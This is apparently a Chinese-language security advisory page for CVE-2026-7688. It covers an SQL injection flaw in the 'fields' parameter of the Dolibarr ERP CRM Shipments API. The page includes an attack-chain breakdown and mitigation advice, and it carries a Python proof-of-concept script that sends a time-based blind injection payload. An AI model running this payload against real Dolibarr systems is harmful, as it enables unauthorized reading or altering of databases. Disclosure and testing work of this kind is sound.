IPBUF安全漏洞报告
English
CVE-2026-7688 CVSS 5.0 中危

CVE-2026-7688 Dolibarr ERP CRM SQL注入漏洞

披露日期: 2026-05-03

漏洞信息

漏洞编号
CVE-2026-7688
漏洞类型
SQL注入
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dolibarr ERP CRM

相关标签

SQL注入DolibarrERP远程攻击API漏洞

漏洞概述

Dolibarr ERP CRM 23.0.2及之前版本在处理Shipments API端点时存在SQL注入漏洞。漏洞源于`htdocs/expedition/class/expedition.class.php`文件中的`_checkValForAPI`函数未能正确过滤用户输入的`fields`参数。攻击者需具备低权限账号且无需用户交互即可远程利用此漏洞,执行恶意SQL语句可能导致数据泄露或篡改。尽管利用难度较高,但已有公开PoC代码,且厂商未响应,风险较大。

技术细节

该漏洞具体位于Dolibarr ERP CRM的发货(Shipments)模块API组件中。受影响的文件路径为`htdocs/expedition/class/expedition.class.php`,核心问题出在`_checkValForAPI`函数。该函数负责校验API传入的字段,但在处理`fields`参数时,缺乏严格的输入验证和过滤机制,导致攻击者可控的数据被直接拼接至SQL查询语句中。尽管CVSS评分显示攻击复杂度较高(AC:H),意味着利用该漏洞可能需要绕过某些WAF规则或特定的上下文限制,但本质上仍属于经典的SQL注入。攻击者只需拥有低权限账号(PR:L),即可通过网络向受影响端点发送恶意构造的请求包。一旦利用成功,攻击者能够读取敏感数据、修改数据库内容或破坏数据库服务完整性,对系统安全构成严重威胁。

攻击链分析

STEP 1
侦查
攻击者识别目标为Dolibarr ERP CRM系统,并确认版本号低于23.0.2,同时发现启用了Shipments API接口。
STEP 2
初始访问
攻击者获取一个低权限用户的API凭证(DOLAPIKEY),满足CVSS向量中的PR:L要求。
STEP 3
漏洞利用
攻击者向`htdocs/expedition/class/expedition.class.php`对应的API端点发送恶意请求,在`fields`参数中注入SQL代码。
STEP 4
执行与影响
后端数据库执行注入的恶意SQL语句,导致数据被读取、修改或删除,实现机密性、完整性或可用性的破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL structure for Dolibarr API target_url = "http://target-dolibarr-url/api/index.php/expeditions" # Headers with a low-privilege API Key headers = { "DOLAPIKEY": "YOUR_LOW_PRIV_API_KEY", "Content-Type": "application/json", "Accept": "application/json" } # Malicious payload targeting the 'fields' argument # Using a simple time-based blind SQL injection payload as an example payload = { "fields": "id,ref,(SELECT CASE WHEN (1=1) THEN sleep(5) ELSE id END)" # This payload attempts to inject a conditional sleep statement } try: # Sending the request response = requests.post(target_url, json=payload, headers=headers, timeout=10) # Analyzing response time to check for delay if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability confirmed (Time-based delay detected).") else: print("[-] No delay detected. Vulnerability might be patched or payload incorrect.") print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"[!] Error during request: {e}")

影响范围

Dolibarr ERP CRM <= 23.0.2

防御指南

临时缓解措施
建议在官方补丁发布前,通过防火墙限制对Shipments API端点的访问,或部署WAF规则以检测并拦截`fields`参数中的SQL注入特征。同时,应审查API权限分配,避免向低权限用户授予不必要的数据访问能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表